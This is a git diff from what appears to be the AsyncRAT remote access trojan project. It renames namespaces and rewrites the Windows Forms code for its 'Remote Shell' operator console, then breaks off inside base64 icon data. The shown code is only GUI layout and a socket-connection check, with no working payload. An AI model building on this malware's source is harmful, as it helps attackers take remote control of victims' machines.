- this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
- this.ClientSize = new System.Drawing.Size(800, 449);
- this.Controls.Add(this.richTextBox1);
- this.Controls.Add(this.textBox1);
- this.Controls.Add(this.panel1);
- this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.Name = "FormShell";
- this.Text = "Remote Shell";
- this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormShell_FormClosed);
- this.ResumeLayout(false);
- this.PerformLayout();
-
- }
-
- #endregion
- private System.Windows.Forms.TextBox textBox1;
- public System.Windows.Forms.RichTextBox richTextBox1;
- private System.Windows.Forms.Timer timer1;
- private System.Windows.Forms.Panel panel1;
- }
+namespace Server.Forms
+{
+ partial class FormShell
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormShell));
+ this.richTextBox1 = new System.Windows.Forms.RichTextBox();
+ this.textBox1 = new System.Windows.Forms.TextBox();
+ this.timer1 = new System.Windows.Forms.Timer(this.components);
+ this.panel1 = new System.Windows.Forms.Panel();
+ this.SuspendLayout();
+ //
+ // richTextBox1
+ //
+ this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
+ this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.richTextBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242)))));
+ this.richTextBox1.Location = new System.Drawing.Point(0, 0);
+ this.richTextBox1.Name = "richTextBox1";
+ this.richTextBox1.ReadOnly = true;
+ this.richTextBox1.Size = new System.Drawing.Size(800, 412);
+ this.richTextBox1.TabIndex = 0;
+ this.richTextBox1.Text = "";
+ //
+ // textBox1
+ //
+ this.textBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242)))));
+ this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
+ this.textBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.textBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
+ this.textBox1.Location = new System.Drawing.Point(46, 423);
+ this.textBox1.Name = "textBox1";
+ this.textBox1.Size = new System.Drawing.Size(754, 26);
+ this.textBox1.TabIndex = 1;
+ this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
+ //
+ // timer1
+ //
+ this.timer1.Enabled = true;
+ this.timer1.Interval = 1000;
+ this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
+ //
+ // panel1
+ //
+ this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
+ this.panel1.Dock = System.Windows.Forms.DockStyle.Left;
+ this.panel1.Location = new System.Drawing.Point(0, 0);
+ this.panel1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5);
+ this.panel1.Name = "panel1";
+ this.panel1.Size = new System.Drawing.Size(46, 449);
+ this.panel1.TabIndex = 2;
+ //
+ // FormShell
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
+ this.ClientSize = new System.Drawing.Size(800, 449);
+ this.Controls.Add(this.richTextBox1);
+ this.Controls.Add(this.textBox1);
+ this.Controls.Add(this.panel1);
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.Name = "FormShell";
+ this.Text = "Remote Shell";
+ this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormShell_FormClosed);
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+ private System.Windows.Forms.TextBox textBox1;
+ public System.Windows.Forms.RichTextBox richTextBox1;
+ private System.Windows.Forms.Timer timer1;
+ private System.Windows.Forms.Panel panel1;
+ }
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.cs
rename to AsyncRAT-C#/Server/Forms/FormShell.cs
index cc4d2f6..f248765 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.cs
+++ b/AsyncRAT-C#/Server/Forms/FormShell.cs
@@ -1,10 +1,10 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
-using System.Diagnostics;
+using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
@@ -12,7 +12,7 @@ using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormShell : Form
{
@@ -57,11 +57,11 @@ namespace AsyncRAT_Sharp.Forms
private void Timer1_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected) this.Close();
- }
-
- private void Label1_Click(object sender, EventArgs e)
- {
- Process.Start("https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands");
- }
+ }
+
+ private void Label1_Click(object sender, EventArgs e)
+ {
+ Process.Start("https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands");
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx b/AsyncRAT-C#/Server/Forms/FormShell.resx
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx
rename to AsyncRAT-C#/Server/Forms/FormShell.resx
index 98c9a0e..e9b4dee 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx
+++ b/AsyncRAT-C#/Server/Forms/FormShell.resx
@@ -1,580 +1,580 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- 17, 17
-
-
-
-
- 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
- O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
- 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
- AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
- AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
- AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
- AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
- wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
- ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
- x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
- Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
- AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
- Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
- AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
- /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
- AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
- AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
- AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
- AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
- tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
- DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
- AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
- AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
- AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
- AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
- AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
- AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
- ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
- AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
- AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
- AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
- AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
- AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
- AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
- AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
- Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
- a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
- AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
- AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
- AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
- AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
- AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
- AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
- AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
- Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
- AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
- v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
- AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
- /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
- AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
- AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
- AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
- AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
- v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5////
- ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919
- ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW
- RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19
- AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA
- Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx
- AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS////
- ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
- AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918
- AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
- AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx
- AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx
- AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5
- EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919
- AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+
- /f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx
- AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E
- D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
- APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
- AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx
- ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919
- AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx
- AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19
- AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx
- AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx
- ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx
- AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A
- A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA
- AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA
- AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19
- AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AADdfQAA3X0AAd19ACbdfQCM3X0A5tt8AP/IcwD/w3EA8MNxAKHDcQA2w3EAA8NxAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAA3X0AAN19AADdfQAa3X0Ad919ANvdfQD+3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQDnw3EAjMNx
- ACbDcQABw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAN19AADdfQAA3X0AD919AGDdfQDM3X0A/N19AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx
- AP/DcQD/w3EA/sNxANvDcQB2w3EAGcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
